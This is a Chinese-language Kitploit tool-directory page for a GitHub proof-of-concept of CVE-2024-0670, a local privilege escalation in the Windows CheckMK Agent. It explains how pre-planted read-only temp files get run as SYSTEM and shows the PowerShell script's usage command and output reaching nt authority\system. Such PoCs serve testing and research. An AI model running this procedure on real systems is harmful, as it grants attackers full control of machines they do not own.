Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/magicrc/cve-2024-0670
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & Education
GitHubmagicrc/cve-2024-0670

CVE-2024-0670

PoC for CVE-2024-0670

查看仓库
19个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2024-0670 PoC

该仓库提供了一个针对 CVE-2024-0670 漏洞的 概念验证(PoC) 利用代码,影响 Windows 系统上的 CheckMK Agent。该漏洞发生在 CheckMK Agent 在 C:\Windows\Temp 目录中创建并执行临时文件时。攻击者可以通过在具有写保护权限的目录中预先放置恶意文件来滥用此行为。当代理尝试创建已存在且为只读的临时文件时,无法覆盖该文件,但仍会以 SYSTEM 权限执行现有文件,从而实现权限提升。

咨询参考:SEC Consult - 通过可写文件在 Checkmk Agent 中实现本地权限提升


⚠️ 免责声明

本项目仅用于教育、研究及授权安全测试目的。
请勿在您不拥有或未获得明确许可的系统上使用此代码。
作者不对任何损害或滥用行为负责。


用法

root@kitploit:~
evil-winrm-py PS C:\Users\magicrc\Desktop> .\CVE-2024-0670.ps1 -MinPID 1000 -MaxPID 10000 -Cmd "whoami > C:\Windows\Temp\whoami.txt"

示例

root@kitploit:~
evil-winrm-py PS C:\Users\magicrc\Desktop> .\CVE-2024-0670.ps1 -MinPID 1000 -MaxPID 10000 -Cmd "whoami > C:\Windows\Temp\whoami.txt"
[+] Searching for Check MK installer... 
[+] Found: C:\Windows\Installer\1e6f2.msi
[+] Using command: whoami > C:\Windows\Temp\whoami.txt
[+] Preparing 18000 .cmd files...
[*] Progress: 0%
[*] Progress: 10%
[*] Progress: 20%
[*] Progress: 30%
[*] Progress: 40%
[*] Progress: 50%
[*] Progress: 60%
[*] Progress: 70%
[*] Progress: 80%
[*] Progress: 90%
[*] Progress: 100%
[+] Triggering MSI to execute command...
[+] Done
evil-winrm-py PS C:\Users\magicrc\Desktop> cat C:\Windows\Temp\whoami.txt
nt authority\system
下载工具